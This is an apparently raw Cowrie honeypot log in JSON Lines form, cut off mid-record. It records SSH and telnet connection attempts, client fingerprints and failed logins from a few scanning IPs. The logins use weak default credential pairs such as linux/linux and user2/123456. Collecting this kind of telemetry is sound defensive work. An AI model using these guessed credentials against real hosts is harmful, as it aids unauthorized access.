{"eventid":"cowrie.session.closed","duration":31.197370290756226,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:25.390828Z","src_ip":"74.91.213.120","session":"f7a3e8354b71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":56566,"dst_ip":"159.203.135.109","dst_port":23,"session":"1bd68e3ee74e","protocol":"telnet","message":"New connection: 74.91.213.120:56566 (159.203.135.109:23) [session: 1bd68e3ee74e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:25.876544Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":54812,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2209eb2ea49","protocol":"telnet","message":"New connection: 74.91.213.120:54812 (159.203.135.109:23) [session: e2209eb2ea49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:28.346319Z"}
{"eventid":"cowrie.session.closed","duration":31.145884037017822,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:28.533396Z","src_ip":"74.91.213.120","session":"1f325f87f2b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":56606,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4ce22595015","protocol":"ssh","message":"New connection: 80.94.92.182:56606 (10.17.0.5:22) [session: a4ce22595015]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:30.267915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:30.384893Z","src_ip":"80.94.92.182","session":"a4ce22595015","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:30.392985Z","src_ip":"80.94.92.182","session":"a4ce22595015","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":52746,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3c55285caca","protocol":"ssh","message":"New connection: 45.153.34.114:52746 (159.203.135.109:22) [session: d3c55285caca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:31.024232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:31.029328Z","src_ip":"45.153.34.114","session":"d3c55285caca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:31.115924Z","src_ip":"45.153.34.114","session":"d3c55285caca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"******","message":"login attempt [ubuntu/******] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:31.432599Z","src_ip":"45.153.34.114","session":"d3c55285caca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.139289617538452,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:31.560605Z","src_ip":"74.91.213.120","session":"89bc613553ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":54822,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e5af21a998f","protocol":"telnet","message":"New connection: 74.91.213.120:54822 (159.203.135.109:23) [session: 1e5af21a998f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:32.315026Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":54832,"dst_ip":"159.203.135.109","dst_port":23,"session":"d18f553ca5fe","protocol":"telnet","message":"New connection: 74.91.213.120:54832 (159.203.135.109:23) [session: d18f553ca5fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:32.319600Z"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:32.356465Z","src_ip":"80.94.92.182","session":"a4ce22595015","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:32.521484Z","src_ip":"45.153.34.114","session":"d3c55285caca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":50880,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8795fb041ee","protocol":"ssh","message":"New connection: 103.75.199.4:50880 (159.203.135.109:22) [session: c8795fb041ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:33.288523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:33.293093Z","src_ip":"103.75.199.4","session":"c8795fb041ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:33.383941Z","src_ip":"103.75.199.4","session":"c8795fb041ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"init","password":"init","message":"login attempt [init/init] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:33.655685Z","src_ip":"103.75.199.4","session":"c8795fb041ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:33.797185Z","src_ip":"80.94.92.182","session":"a4ce22595015","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:34.749434Z","src_ip":"103.75.199.4","session":"c8795fb041ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.166978359222412,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:36.897298Z","src_ip":"74.91.213.120","session":"b28b875fea13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.170230627059937,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:37.520572Z","src_ip":"74.91.213.120","session":"88aa2725d7c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":50662,"dst_ip":"159.203.135.109","dst_port":23,"session":"cab235b5d89e","protocol":"telnet","message":"New connection: 74.91.213.120:50662 (159.203.135.109:23) [session: cab235b5d89e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:38.267310Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":52758,"dst_ip":"159.203.135.109","dst_port":22,"session":"b65495a27860","protocol":"ssh","message":"New connection: 45.153.34.114:52758 (159.203.135.109:22) [session: b65495a27860]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:39.177568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:39.182704Z","src_ip":"45.153.34.114","session":"b65495a27860","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:39.277143Z","src_ip":"45.153.34.114","session":"b65495a27860","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"123456","message":"login attempt [user2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:39.542803Z","src_ip":"45.153.34.114","session":"b65495a27860","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:40.639426Z","src_ip":"45.153.34.114","session":"b65495a27860","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":50674,"dst_ip":"159.203.135.109","dst_port":23,"session":"08af8637027d","protocol":"telnet","message":"New connection: 74.91.213.120:50674 (159.203.135.109:23) [session: 08af8637027d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:41.273830Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":50682,"dst_ip":"159.203.135.109","dst_port":23,"session":"a134a2ab66e6","protocol":"telnet","message":"New connection: 74.91.213.120:50682 (159.203.135.109:23) [session: a134a2ab66e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:43.308990Z"}
{"eventid":"cowrie.session.closed","duration":31.203751802444458,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:43.381719Z","src_ip":"74.91.213.120","session":"4c10cb630749","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1347975730896,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:43.700300Z","src_ip":"74.91.213.120","session":"94b8f60e9b9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":50692,"dst_ip":"159.203.135.109","dst_port":23,"session":"31d226b79448","protocol":"telnet","message":"New connection: 74.91.213.120:50692 (159.203.135.109:23) [session: 31d226b79448]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:45.456438Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":41074,"dst_ip":"159.203.135.109","dst_port":22,"session":"af7cc428009a","protocol":"ssh","message":"New connection: 45.153.34.114:41074 (159.203.135.109:22) [session: af7cc428009a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:47.443319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:47.447792Z","src_ip":"45.153.34.114","session":"af7cc428009a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:47.539211Z","src_ip":"45.153.34.114","session":"af7cc428009a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux","message":"login attempt [linux/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:47.950193Z","src_ip":"45.153.34.114","session":"af7cc428009a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:49.040586Z","src_ip":"45.153.34.114","session":"af7cc428009a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":38390,"dst_ip":"159.203.135.109","dst_port":23,"session":"c419dd2f0170","protocol":"telnet","message":"New connection: 74.91.213.120:38390 (159.203.135.109:23) [session: c419dd2f0170]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:49.198337Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":38384,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b3e1f4c8a6c","protocol":"telnet","message":"New connection: 74.91.213.120:38384 (159.203.135.109:23) [session: 6b3e1f4c8a6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:49.493403Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":38394,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb4224baaf6e","protocol":"telnet","message":"New connection: 74.91.213.120:38394 (159.203.135.109:23) [session: fb4224baaf6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:51.923444Z"}
{"eventid":"cowrie.session.closed","duration":31.17704677581787,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:54.641809Z","src_ip":"74.91.213.120","session":"e795ea7078cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":38700,"dst_ip":"159.203.135.109","dst_port":22,"session":"6fe3d4c6deaa","protocol":"ssh","message":"New connection: 103.75.199.4:38700 (159.203.135.109:22) [session: 6fe3d4c6deaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:55.159495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:55.164310Z","src_ip":"103.75.199.4","session":"6fe3d4c6deaa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:55.255263Z","src_ip":"103.75.199.4","session":"6fe3d4c6deaa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"joel","password":"joel","message":"login attempt [joel/joel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:55.528856Z","src_ip":"103.75.199.4","session":"6fe3d4c6deaa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":33732,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a46558b836f","protocol":"ssh","message":"New connection: 45.153.34.114:33732 (159.203.135.109:22) [session: 6a46558b836f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:55.682018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:55.686902Z","src_ip":"45.153.34.114","session":"6a46558b836f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes12